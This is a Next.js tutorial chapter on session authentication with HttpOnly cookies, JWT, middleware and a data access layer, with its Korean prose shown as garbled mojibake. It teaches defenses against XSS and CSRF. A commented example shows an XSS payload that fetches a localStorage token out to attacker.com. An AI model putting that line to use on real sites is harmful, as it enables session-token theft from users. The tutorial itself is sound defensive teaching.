๐ Next.js ์ฌํ 7์ฅ: Authentication Architecture โ ๋ฏธ๋ค์จ์ด + DAL + ์ธ์ ๋ณด์ ์ค๊ณ
๐ ๊ฐ์
Middleware + DAL + Session ํจํด์ผ๋ก Next.js ์ฑ์ ์ธ์ฆ์ ์์ ํ๊ฒ ์ค๊ณํฉ๋๋ค.
๐ ๋ชฉ์ฐจ
- ๐ ์ด ๋ฌธ์๋ฅผ ์ฝ๊ธฐ ์ ์
- ๐ค ์ ์์์ผ ํ๋๊ฐ
- ๐๏ธ ๋น์ ๋ก ๋จผ์ ์ดํดํ๊ธฐ
- ๐งฉ ์ธ์ฆ(Authentication)์ ์ธ ๊ธฐ๋ฅ ๐ข
- ๐ ์ธ์ ๊ด๋ฆฌ: HttpOnly ์ฟ ํค vs localStorage ๐ก
- ๐ก๏ธ ์ธ์ ์์ฑ๊ณผ ๊ฒ์ฆ ๊ตฌํ ๐ก
- ๐ช ๋ฏธ๋ค์จ์ด + DAL 2๋จ๊ณ ๋ฐฉ์ด ๊ตฌ์กฐ ๐ด
- ๐ ๋ณด์ ๊ฐํ: CSRF, XSS ๋ฐฉ์ด ๐ด
- ๐ฅ ์๋ฌ ํด๊ฒฐ ์นดํ๋ก๊ทธ
- [๐ ์ด๋ฒ์ ๋ฐฐ์ด ๋ด์ฉ ์ด์ ๋ฆฌ](#-์ด๋ฒ์ ๋ฐฐ์ด-๋ด์ฉ-์ด์ ๋ฆฌ)
- ๐ ๋ง๋ฌด๋ฆฌ ํด์ฆ
- ๐ ๋ ์์๋ณด๊ธฐ
๐ ์ด ๋ฌธ์๋ฅผ ์ฝ๊ธฐ ์ ์
โฑ๏ธ ์์ ์ฝ๊ธฐ ์๊ฐ: 20๋ถ (์ ์ฒด) / ํต์ฌ ํํธ๋ง: 10๋ถ
๐บ๏ธ ์ด ๋ฌธ์์ ๋ฐฐ๊ฒฝ ์ธ๊ณ๊ด: '์์๋ค ์ปค๋ฎค๋ํฐ'
- ์์ฒ (์ ์
): "๋ก๊ทธ์ธ ๊ธฐ๋ฅ ๋ง๋ค์๋๋ฐ์, ๋ก๊ทธ์ธ ์ฑ๊ณตํ๋ฉด JWT๋ฅผ
localStorage์ ์ ์ฅํ๊ณ ์์ด์. API ํธ์ถํ ๋๋ง๋คAuthorization: Bearer ${token}ํค๋ ๋ถ์ด๊ณ ์. ์ด๊ฒ ๋ณดํต ํ๋ ๋ฐฉ์ ์๋๊ฐ์?" - ์ํธ(๋ฆฌ๋): "์์ฒ ๋... ๊ทธ ๋ฐฉ๋ฒ์ XSS ๊ณต๊ฒฉ์ ์์ ํ ๋ฌด๋ฐฉ๋น์์. JS๋ก
localStorage์ ์ ๊ทผํ ์ ์์ผ๋ ์ ์ฑ ์คํฌ๋ฆฝํธ ํ๋๋ง ์ฝ์ ๋๋ฉด ๋ชจ๋ ์ฌ์ฉ์ ํ ํฐ์ด ํ์ทจ๋ผ์. Next.js App Router์์๋HttpOnly์ฟ ํค๋ก ํ ํฐ์ ๋ณดํธํ๊ณ , ์๋ฒ ์ปดํฌ๋ํธ์์๋ง ์ธ์ ์ ๊ฒ์ฆํด์ผ ํด์."
๐บ๏ธ ์ด ๋ฌธ์์ ํ๋ฆ
์ธ์ฆ์ 3๊ธฐ๋ฅ โ ์ธ์
์ ์ฅ ๋ฐฉ๋ฒ ๋น๊ต โ ์ธ์
์์ฑ/๊ฒ์ฆ ๊ตฌํ โ ๋ฏธ๋ค์จ์ด + DAL 2๋จ๊ณ ๋ฐฉ์ด โ ๋ณด์ ํค๋
๐ฏ ์ด ๋ฌธ์๋ฅผ ๋ค ์ฝ์ผ๋ฉด ํ ์ ์๋ ๊ฒ
-
localStorage๋์HttpOnly์ฟ ํค๋ก ์ธ์ ์ ์์ ํ๊ฒ ๊ด๋ฆฌํ ์ ์๋ค - ๋ฏธ๋ค์จ์ด(1์ฐจ)์ DAL(2์ฐจ)๋ก ์ด์ค ์ธ์ฆ ์ฒด๊ณ๋ฅผ ์ค๊ณํ ์ ์๋ค
- CSRF์ XSS ๊ณต๊ฒฉ์ด ์ด๋ป๊ฒ ๋์ํ๊ณ ์ด๋ป๊ฒ ๋ฐฉ์ดํ๋์ง ์ค๋ช ํ ์ ์๋ค
๐ค ์ ์์์ผ ํ๋๊ฐ
์ธ์ฆ์ "์ด ์ฌ๋์ด ๋๊ตฌ์ธ๊ฐ?" ๋ฅผ ํ์ธํ๋ ๊ณผ์ ์ด์ผ. ์๋ชป ๊ตฌํํ๋ฉด ์๋น์ค์ ๋ชจ๋ ๋ฐ์ดํฐ๊ฐ ์ํํด์ ธ.
Next.js App Router๊ฐ ๋ฑ์ฅํ๋ฉด์ ์ธ์ฆ ๊ตฌํ ๋ฐฉ์์ด ํฌ๊ฒ ๋ฐ๋์์ด:
- ๊ณผ๊ฑฐ SPA ๋ฐฉ์: ํด๋ผ์ด์ธํธ์์ API ํธ์ถ โ JWT๋ฅผ localStorage ์ ์ฅ โ ๋ชจ๋ ์์ฒญ์ ํค๋ ์ฒจ๋ถ
- App Router ๋ฐฉ์: ์๋ฒ ์ปดํฌ๋ํธ๊ฐ ๊ธฐ๋ณธ โ ์๋ฒ์์ ์ธ์
๊ฒ์ฆ โ
HttpOnly์ฟ ํค๋ก ํ ํฐ ๋ณดํธ
์ ๋ฐ๊ฟ์ผ ํ๋๊ณ ? localStorage๋ JavaScript๋ก ์ ๊ทผ ๊ฐ๋ฅํ๊ธฐ ๋๋ฌธ์ด์ผ. XSS ๊ณต๊ฒฉ ํ๋๋ก ๋ชจ๋ ์ฌ์ฉ์์ ํ ํฐ์ด ํธ๋ฆด ์ ์์ด.
๐๏ธ ๋น์ ๋ก ๋จผ์ ์ดํดํ๊ธฐ
๐ง 5์ด์๊ฒ ์ค๋ช ํ๋ค๋ฉด?
๋น๋ฐ ๊ธ๊ณ ์ ์ด์ (JWT)๋ฅผ ๋ณด๊ดํ๋ค๊ณ ์์ํด๋ด.
localStorage์ ์ ์ฅ = ์ด์ ๋ฅผ ์ฑ ์ ์์ ์ฌ๋ ค๋๊ธฐ. ๋๊ตฌ๋ ๋ณผ ์ ์์ด. ๋์ ์ฌ๋์ด ๋ฐฉ์ ๋ค์ด์ค๋ฉด(XSS) ๋ฐ๋ก ๊ฐ์ ธ๊ฐ.
HttpOnly ์ฟ ํค= ์ด์ ๋ฅผ ๊ธ๊ณ ์์ ๋ฃ๊ธฐ. ์ด์ ์ฃผ์ธ(์๋ฒ)๋ง ๊บผ๋ผ ์ ์์ด. ๋์ ์ฌ๋์ด ๋ฐฉ์ ๋ค์ด์๋(XSS) ๊ธ๊ณ ๋ ๋ชป ์ด์ด.
์ธ์ฆ์ 2๋จ๊ณ ๋ฐฉ์ด:
1์ฐจ ๋ฐฉ์ด (Middleware) โ "์ด์ ์์ด์?" ๋น ๋ฅธ ์ฒดํฌ, ์์ผ๋ฉด ๋ฌธ ์์์ ์ฐจ๋จ
2์ฐจ ๋ฐฉ์ด (DAL) โ "์ด์ ๊ฐ ์ง์ง์์? ์ด ๋ฐฉ ๋ค์ด๊ฐ ๊ถํ ์์ด์?" ์ค์ ๊ฒ์ฆ
๐งฉ ์ธ์ฆ(Authentication)์ ์ธ ๊ธฐ๋ฅ ๐ข
๐ฏ ์ด ์น์ ์ ์ฝ๊ณ ๋๋ฉด:
- ์ธ์ฆ, ์ธ์ ๊ด๋ฆฌ, ๊ถํ ๋ถ์ฌ์ ์ฐจ์ด๋ฅผ ๋ช ํํ ๊ตฌ๋ถํ ์ ์๋ค
Next.js ์ธ์ฆ ์์คํ ์ ์ธ ๊ฐ์ง ๊ฐ๋ ์ผ๋ก ๋๋์ด:
| ๊ธฐ๋ฅ | ์๋ฏธ | ๋ด๋น ์์น |
|---|---|---|
| ์ธ์ฆ(Authentication) | "๋น์ ์ด ๋๊ตฌ์ธ๊ฐ?" โ ์ ์ ํ์ธ | Server Action (๋ก๊ทธ์ธ ์ฒ๋ฆฌ) |
| ์ธ์ ๊ด๋ฆฌ(Session) | "๋น์ ์ด ๋ก๊ทธ์ธํ ์ํ์์ ๊ธฐ์ต" | HttpOnly ์ฟ ํค + ์ํธํ |
| ๊ถํ ๋ถ์ฌ(Authorization) | "์ด ์์ ์ ํ ๊ถํ์ด ์๋๊ฐ?" | Middleware (1์ฐจ) + DAL (2์ฐจ) |
๐ ์ธ์ ๊ด๋ฆฌ: HttpOnly ์ฟ ํค vs localStorage ๐ก
๐ฏ ์ด ์น์ ์ ์ฝ๊ณ ๋๋ฉด:
HttpOnly์ฟ ํค์localStorage์ ๋ณด์ ์ฐจ์ด๋ฅผ ์ค๋ช ํ ์ ์๋ค- App Router์์
HttpOnly์ฟ ํค๋ฅผ ์ฌ์ฉํด์ผ ํ๋ ์ด์ ๋ฅผ ์ดํดํ๋ค
๐ค ์ ๊น, ๋จผ์ ์๊ฐํด๋ด
๋ธ๋ผ์ฐ์ ์์document.cookie๋ก ๋ชจ๋ ์ฟ ํค๋ฅผ ์ฝ์ ์ ์๋ค๊ณ ์๊ณ ์์ง?
๊ทธ๋ฐ๋ฐHttpOnly์ฟ ํค๋document.cookie๋ก ์ฝ์ ์ ์์ด. ์ ๊ทธ๋ด๊น?
๋น๊ต:
| ํน์ฑ | localStorage | HttpOnly ์ฟ ํค |
|---|---|---|
| JS ์ ๊ทผ | localStorage.getItem() ๊ฐ๋ฅ | โ JS ์ ๊ทผ ๋ถ๊ฐ |
| XSS ์ทจ์ฝ์ฑ | ๐ด ๋งค์ฐ ์ทจ์ฝ (JS ํ์ทจ ๊ฐ๋ฅ) | ๐ข ๋ณดํธ๋จ |
| SSR ์ง์ | โ ์๋ฒ์์ ์ฝ๊ธฐ ๋ถ๊ฐ | โ ์๋ฒ ์์ฒญ๋ง๋ค ์๋ ์ ์ก |
| ์๋ฒ ์ปดํฌ๋ํธ ํธํ | โ ๋ถ๊ฐ | โ
cookies() API๋ก ์ฝ๊ธฐ ๊ฐ๋ฅ |
| ๋ง๋ฃ ์ค์ | ์๋ ์ฒ๋ฆฌ ํ์ | ๋ธ๋ผ์ฐ์ ๊ฐ ์๋ ์ฒ๋ฆฌ |
// โ ์์ฒ ์ด์ ์ํํ ๋ฐฉ์ โ localStorage ์ฌ์ฉ
// ํด๋ผ์ด์ธํธ ์ปดํฌ๋ํธ์์
const token = localStorage.getItem('auth_token')
// XSS ๊ณต๊ฒฉ์ผ๋ก ์
์ฑ ์คํฌ๋ฆฝํธ๊ฐ ์ฝ์
๋๋ฉด:
// document.querySelector('script').textContent = `
// fetch('https://attacker.com?' + localStorage.getItem('auth_token'))
// `
// ํ ํฐ์ด ๊ณต๊ฒฉ์ ์๋ฒ๋ก ์ ์ก๋จ!
// โ
์ํธ์ ์์ ํ ๋ฐฉ์ โ HttpOnly ์ฟ ํค
// Server Action์์ ์ฟ ํค ์ค์ (์๋ฒ์์๋ง ์คํ)
(await cookies()).set('session', encryptedToken, {
httpOnly: true, // JS ์ ๊ทผ ๋ถ๊ฐ โ XSS ๋ฐฉ์ด
secure: true, // HTTPS์์๋ง ์ ์ก
sameSite: 'lax', // CSRF ๋ฐฉ์ด
maxAge: 60 * 60 * 24 * 7, // 7์ผ
})๐ก๏ธ ์ธ์ ์์ฑ๊ณผ ๊ฒ์ฆ ๊ตฌํ ๐ก
๐ฏ ์ด ์น์ ์ ์ฝ๊ณ ๋๋ฉด:
jose๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ก JWT๋ฅผ ์์ฑํ๊ณ ๊ฒ์ฆํ ์ ์๋ค- Server Action์ผ๋ก ๋ก๊ทธ์ธ์ ์ฒ๋ฆฌํ๋ ์ ์ฒด ํ๋ฆ์ ๊ตฌํํ ์ ์๋ค
// lib/auth.ts โ ์ธ์
์ํธํ/๋ณตํธํ
import 'server-only'
import { SignJWT, jwtVerify } from 'jose' // Edge ํธํ JWT ๋ผ์ด๋ธ๋ฌ๋ฆฌ
const secretKey = process.env.SESSION_SECRET!
const encodedKey = new TextEncoder().encode(secretKey)
type SessionPayload = {
userId: string
role: 'user' | 'admin'
expiresAt: Date
}
// ์ธ์
์ํธํ (JWT ์์ฑ)
export async function encrypt(payload: SessionPayload): Promise<string> {
return new SignJWT(payload)
.setProtectedHeader({ alg: 'HS256' })
.setIssuedAt()
.setExpirationTime('7d') // 7์ผ ๋ง๋ฃ
.sign(encodedKey)
}
// ์ธ์
๋ณตํธํ (JWT ๊ฒ์ฆ)
export async function decrypt(token: string): Promise<SessionPayload | null> {
try {
const { payload } = await jwtVerify(token, encodedKey, {
algorithms: ['HS256'],
})
return payload as unknown as SessionPayload
} catch {
// ํ ํฐ์ด ๋ง๋ฃ๋๊ฑฐ๋ ๋ณ์กฐ๋ ๊ฒฝ์ฐ
return null
}
}// lib/session.ts โ ์ธ์
์์ฑ/์กฐํ/์ญ์
import 'server-only'
import { cookies } from 'next/headers'
import { encrypt, decrypt } from './auth'
export async function createSession(userId: string, role: 'user' | 'admin') {
const expiresAt = new Date(Date.now() + 7 * 24 * 60 * 60 * 1000)
const session = await encrypt({ userId, role, expiresAt })
const cookieStore = await cookies()
cookieStore.set('session', session, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'lax',
expires: expiresAt,
path: '/',
})
}
export async function getSession() {
const cookieStore = await cookies()
const sessionCookie = cookieStore.get('session')?.value
if (!sessionCookie) return null
return decrypt(sessionCookie)
}
export async function deleteSession() {
const cookieStore = await cookies()
cookieStore.delete('session')
}// lib/actions/auth.actions.ts โ ๋ก๊ทธ์ธ Server Action
'use server'
import { redirect } from 'next/navigation'
import { createSession } from '../session'
import { db } from '../db'
import bcrypt from 'bcryptjs'
export async function login(prevState: unknown, formData: FormData) {
const email = formData.get('email') as string
const password = formData.get('password') as string
// DB์์ ์ฌ์ฉ์ ์กฐํ
const user = await db.user.findUnique({ where: { email } })
// ๋น๋ฐ๋ฒํธ ๊ฒ์ฆ (bcrypt๋ ์๋ฒ์์๋ง ์คํ โ Node.js Runtime)
if (!user || !(await bcrypt.compare(password, user.passwordHash))) {
return { error: '์ด๋ฉ์ผ ๋๋ ๋น๋ฐ๋ฒํธ๊ฐ ์ฌ๋ฐ๋ฅด์ง ์์์' }
}
// ์ธ์
์์ฑ โ HttpOnly ์ฟ ํค์ ์ ์ฅ
await createSession(user.id, user.role)
// ๋ก๊ทธ์ธ ์ฑ๊ณต โ ๋์๋ณด๋๋ก ์ด๋
redirect('/dashboard')
}
export async function logout() {
await deleteSession()
redirect('/login')
}๐ช ๋ฏธ๋ค์จ์ด + DAL 2๋จ๊ณ ๋ฐฉ์ด ๊ตฌ์กฐ ๐ด
๐ฏ ์ด ์น์ ์ ์ฝ๊ณ ๋๋ฉด:
- ๋ฏธ๋ค์จ์ด(1์ฐจ)์ DAL(2์ฐจ)์ด ๊ฐ๊ฐ ๋ฌด์์ ๊ฒ์ฆํ๋์ง ์ค๋ช ํ ์ ์๋ค
์ 2๋จ๊ณ์ธ๊ฐ?
๋ฏธ๋ค์จ์ด(Edge)์์ ๋ฌด๊ฑฐ์ด ๊ฒ์ฆ์ ๋ถ๊ฐํด. ํ์ง๋ง DAL์์๋ง ๊ฒ์ฆํ๋ฉด ๋ณดํธ๋์ง ์์ ๊ฒฝ๋ก์์ ๋๋ฆฐ ๊ฒ์ฆ์ ๊ธฐ๋ค๋ ค์ผ ํด. ๊ทธ๋์ ์ญํ ์ ๋๋ :
// middleware.ts โ 1์ฐจ ๋ฐฉ์ด: "์ธ์
์ฟ ํค๊ฐ ์กด์ฌํ๋๊ฐ?"
import { NextResponse } from 'next/server'
import type { NextRequest } from 'next/server'
const PROTECTED_PATHS = ['/dashboard', '/my', '/settings', '/posts/write']
export async function middleware(request: NextRequest) {
const { pathname } = request.nextUrl
const isProtected = PROTECTED_PATHS.some((path) => pathname.startsWith(path))
if (!isProtected) return NextResponse.next()
const sessionCookie = request.cookies.get('session')?.value
// ๋น ๋ฅธ 1์ฐจ ์ฒดํฌ: ์ฟ ํค ์กด์ฌ ์ฌ๋ถ๋ง
// ์ค์ JWT ๊ฒ์ฆ์ Edge์์ jose๋ก ๊ฐ๋ฅํ์ง๋ง ์ ํ์
if (!sessionCookie) {
const loginUrl = new URL('/login', request.url)
loginUrl.searchParams.set('callbackUrl', pathname)
return NextResponse.redirect(loginUrl)
}
return NextResponse.next()
}// lib/dal.ts โ 2์ฐจ ๋ฐฉ์ด: "์ธ์
์ด ์ ํจํ๊ฐ? ์ด ์์
๊ถํ์ด ์๋๊ฐ?"
import 'server-only'
import { getSession } from './session'
import { db } from './db'
export async function verifySession() {
const session = await getSession()
if (!session) {
// ์ธ์
์์ผ๋ฉด ์ฆ์ 401 ์ฒ๋ฆฌ
throw new Error('UNAUTHORIZED')
}
return session
}
// ๊ฒ์๊ธ ์ญ์ โ ์์ฑ์ ๋๋ ๊ด๋ฆฌ์๋ง ๊ฐ๋ฅ
export async function deletePost(postId: string) {
const session = await verifySession() // ์ธ์
๊ฒ์ฆ
const post = await db.post.findUnique({ where: { id: postId } })
if (!post) throw new Error('NOT_FOUND')
// ๊ถํ ์ฒดํฌ: ์์ฑ์์ด๊ฑฐ๋ ๊ด๋ฆฌ์์ฌ์ผ ํจ
if (post.authorId !== session.userId && session.role !== 'admin') {
throw new Error('FORBIDDEN')
}
return db.post.delete({ where: { id: postId } })
}๐ ๋ณด์ ๊ฐํ: CSRF, XSS ๋ฐฉ์ด ๐ด
๐ก๏ธ CSRF ๋ฐฉ์ด โ sameSite ์ฟ ํค ์ค์
CSRF(Cross-Site Request Forgery): ์ ์ฑ ์ฌ์ดํธ์์ ์ฌ์ฉ์ ๋ชฐ๋ ์ฐ๋ฆฌ ์๋ฒ๋ก ์์ฒญ์ ๋ณด๋ด๋ ๊ณต๊ฒฉ.
// sameSite ์ค์ ์ผ๋ก CSRF ๋ฐฉ์ด
cookieStore.set('session', session, {
httpOnly: true,
secure: true,
sameSite: 'lax', // ์ธ๋ถ ์ฌ์ดํธ์์ POST ์์ฒญ ์ ์ฟ ํค ์ ์ก ์ ํจ
// sameSite: 'strict' โ ๋ ๊ฐ๋ ฅํ์ง๋ง ์ผ๋ถ OAuth ๋ฆฌ๋๋ ํธ๊ฐ ๊นจ์ง ์ ์์
})Server Action์ CSRF ๋ด์ฅ ๋ฐฉ์ด:
Next.js Server Action์ ๋ด๋ถ์ ์ผ๋ก CSRF ํ ํฐ ์์ด๋ ๋ณดํธ๋ผ. ๊ฐ Server Action ํจ์์ ์ํธํ๋ ๋น๊ฒฐ์ ์ ID๋ฅผ ํ ๋นํด์ ๊ณต๊ฒฉ์๊ฐ ์๋ํฌ์ธํธ๋ฅผ ์ ์ถํ๊ธฐ ์ด๋ ต๊ฒ ๋ง๋ค์ด.
๐ก๏ธ XSS ๋ฐฉ์ด โ CSP ํค๋
// middleware.ts์์ CSP ํค๋ ์ค์
response.headers.set(
'Content-Security-Policy',
"default-src 'self'; script-src 'self' 'nonce-{nonce}'; style-src 'self' 'unsafe-inline';"
)๐ฅ ์๋ฌ ํด๊ฒฐ ์นดํ๋ก๊ทธ
โ cookies() was called outside a request scope
์์ธ: cookies()๋ฅผ Server Action์ด๋ ์๋ฒ ์ปดํฌ๋ํธ๊ฐ ์๋ ๊ณณ์์ ํธ์ถ.
ํด๊ฒฐ์ฑ
: cookies()๋ ๋ฐ๋์ ์๋ฒ ์ปดํฌ๋ํธ, Server Action, Route Handler ์์์๋ง ์ฌ์ฉํด.
โ jose ํ ํฐ ๊ฒ์ฆ ์คํจ โ JWTExpired
์์ธ: ํ ํฐ ๋ง๋ฃ. ์ ์์ ์ธ ๋์์ด์ง๋ง ํธ๋ค๋ง์ด ํ์.
ํด๊ฒฐ์ฑ :
try {
const { payload } = await jwtVerify(token, encodedKey)
return payload
} catch (err) {
if (err instanceof errors.JWTExpired) {
// ๋ง๋ฃ โ ๋ฆฌํ๋ ์ ๋๋ ์ฌ๋ก๊ทธ์ธ ์ ๋
return null
}
// ๊ธฐํ ๊ฒ์ฆ ์คํจ
return null
}๐ ์ด๋ฒ์ ๋ฐฐ์ด ๋ด์ฉ ์ด์ ๋ฆฌ
๐ ์ธ์ฆ ๊ตฌํ ์ฒดํฌ๋ฆฌ์คํธ
| ํญ๋ชฉ | ๊ตฌํ ์์น | ์ค์๋ |
|---|---|---|
์ธ์
์ํธํ (jose) | lib/auth.ts | ํ์ |
HttpOnly ์ฟ ํค ์ค์ | lib/session.ts | ํ์ |
| ๋ก๊ทธ์ธ Server Action | lib/actions/auth.actions.ts | ํ์ |
| 1์ฐจ ๋ฏธ๋ค์จ์ด ๋ฐฉ์ด | middleware.ts | ํ์ |
| 2์ฐจ DAL ๋ฐฉ์ด | lib/dal.ts | ํ์ |
server-only import | lib/ ํ์ผ ์ต์๋จ | ๊ฐ๋ ฅ ๊ถ์ฅ |
โ ๏ธ ์ ๋ ํ์ง ๋ง ๊ฒ
| ์ํฉ | โ ๋์ ์ | โ ์ข์ ์ |
|---|---|---|
| ํ ํฐ ์ ์ฅ | localStorage.setItem('token', jwt) | HttpOnly ์ฟ ํค |
| ๋ฏธ๋ค์จ์ด๋ง์ผ๋ก ๋ณดํธ | Middleware๋ง ๋ฏฟ๊ณ DAL ๊ฒ์ฆ ์๋ต | Middleware + DAL ์ด์ค ๋ฐฉ์ด |
| ๊ถํ ์ฒดํฌ ์์น | ํด๋ผ์ด์ธํธ ์ปดํฌ๋ํธ์์ | ์๋ฒ(DAL)์์ ์ต์ข ๊ฒ์ฆ |
๐ ๋ง๋ฌด๋ฆฌ ํด์ฆ
Q1. localStorage ๋์ HttpOnly ์ฟ ํค์ ์ธ์ ์ ๋๋ ๊ฐ์ฅ ํฐ ์ด์ ๋ ๋ฌด์์ธ๊ฐ?
โ ์ ๋ต: ๋ธ๋ผ์ฐ์ JavaScript๊ฐ ์ธ์ ๊ฐ์ ์ง์ ์ฝ์ง ๋ชปํ๊ฒ ํด XSS๋ก ์ธํ ํ ํฐ ํ์ทจ ์ํ์ ์ค์ด๊ธฐ ์ํด์๋ค.
๐ก ์์ธ ํด์ค: HttpOnly๋ ๋ง๋ฅ ๋ฐฉ์ด๋ง์ ์๋์ง๋ง, ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ ํ ํฐ ๋ฌธ์์ด์ ํ์ณ ์ธ๋ถ๋ก ๋ณด๋ด๋ ๋ํ ๊ฒฝ๋ก๋ฅผ ๋ง์ ์ค๋ค. ์ฟ ํค์๋ Secure, SameSite, Path, ๋ง๋ฃ ์๊ฐ๋ ํจ๊ป ์ค๊ณํด์ผ ํ๋ค. ์ํธ๋ "์ ์ฅ ์์น"๋ง ๋ณด์ง ์๊ณ ์ธ์ ๊ฐฑ์ ๊ณผ ํ๊ธฐ๊น์ง ๋ณธ๋ค.
Q2. Middleware์ DAL(Data Access Layer)์ ์ญํ ๋ถ๋ด์ผ๋ก ๊ฐ์ฅ ์์ ํ ๊ฒ์?
โ ์ ๋ต: Middleware๋ ๋น ๋ฅธ 1์ฐจ ํต๊ณผ ๊ฒ์ฌ, DAL์ ์ค์ ๋ฐ์ดํฐ ์ ๊ทผ ์ง์ ์ ์ ๋ฐ ์ธ์ฆ/์ธ๊ฐ ๊ฒ์ฌ๋ฅผ ๋งก๋๋ค.
๐ก ์์ธ ํด์ค: Middleware๋ Edge์์ ๋๊ฒ ์คํ๋๋ฏ๋ก DB ์กฐํ๋ ๋ณต์กํ ๊ถํ ๋ก์ง์ ๋ชจ๋ ๋ฃ๊ธฐ ์ด๋ ต๋ค. ๋์ ๋ณดํธ ๊ฒฝ๋ก ์ง์ ์ ๋น ๋ฅด๊ฒ ๊ฑธ๋ฌ๋ธ๋ค. ์ต์ข ๋ณด์ ๊ฒฝ๊ณ๋ ์๋ฒ์ DAL์์ ์ธ์ ์ ํจ์ฑ, ์ญํ , ๋ฆฌ์์ค ์์ ๊ถ์ ํ์ธํด์ผ ํ๋ค.
Q3. ์์ฒ ์ด์ ํ ์คํธ ํ์: ๊ด๋ฆฌ์ ๋ฒํผ์ ์จ๊ฒผ์ง๋ง ์ฌ์ฉ์๊ฐ Server Action์ ์ง์ POST๋ก ํธ์ถํ ์ ์๋ค. ์ด๋์์ ๊ถํ์ ํ์ธํด์ผ ํ ๊น?
โ ์ ๋ต: Server Action ๋ด๋ถ ๋๋ ๊ทธ Action์ด ํธ์ถํ๋ ์๋ฒ ์ ์ฉ ๊ถํ ๊ฒ์ฌ ํจ์์์ ๋ค์ ํ์ธํด์ผ ํ๋ค.
๐ก ์์ธ ํด์ค: UI์์ ๋ฒํผ์ ์จ๊ธฐ๋ ๊ฒ์ ์ฌ์ฉ์ ๊ฒฝํ์ผ ๋ฟ ๋ณด์ ๊ฒฝ๊ณ๊ฐ ์๋๋ค. ๊ณต์ ๋ฌธ์๋ Server Actions์ Route Handlers๋ฅผ ๊ณต๊ฐ API์ฒ๋ผ ๋ค๋ฃจ๋ผ๊ณ ์๋ดํ๋ค. ๊ด๋ฆฌ์ ์์ ์ ์ก์ ๋ด๋ถ์์ ์ธ์ ๊ณผ role์ ํ์ธํ๊ณ , ๋์ ๋ฆฌ์์ค์ ์์ ๊ถ๊น์ง ๊ฒ์ฆํด์ผ ํ๋ค.
๐ฃ ์์ฒ ์ด์ ํด๊ทผ ์ผ๊ธฐ
์ค๋์ ์ธ์ฆ์ "๋ก๊ทธ์ธํ๋์ง ํ์ธ"์ผ๋ก๋ง ๋ณด๋ฉด ๋ถ์กฑํ๋ค๋ ๊ฑธ ๋ฐฐ์ ๋ค. Middleware์์ ํ ๋ฒ ๊ฑธ๋ ๋ค๊ณ ๋์ด ์๋๋ผ, ์ค์ ๋ฐ์ดํฐ๋ฅผ ์ฝ๊ฑฐ๋ ๋ฐ๊พธ๋ ์ง์ ๋ง๋ค ๊ถํ์ ๋ค์ ํ์ธํด์ผ ํ๋ค.
๐ก "์ธ์ฆ์ ์ ๊ตฌ์์ ์์ํ์ง๋ง, ์ธ๊ฐ๋ ๋ฐ์ดํฐ ์์์ ๋๋๋ค."
์์ผ๋ก ๋ณดํธ ํ์ด์ง๋ฅผ ๋ง๋ค ๋๋ ์ฟ ํค ์ต์ , Middleware matcher, DAL ๊ฒ์ฆ, Server Action ๊ถํ ๊ฒ์ฌ๋ฅผ ํ ๋ฌถ์์ผ๋ก ๋ณด๊ฒ ๋ค. ์ํธ์๊ฒ "๋ฒํผ ์จ๊ฒผ์ด์"๊ฐ ์๋๋ผ "์ง์ ์์ฒญํด๋ ๊ฑฐ์ ๋ฉ๋๋ค"๋ผ๊ณ ๋งํ ์ ์๋ ์ค๊ณ๋ฅผ ๊ฐ์ ธ๊ฐ์ผ๊ฒ ๋ค.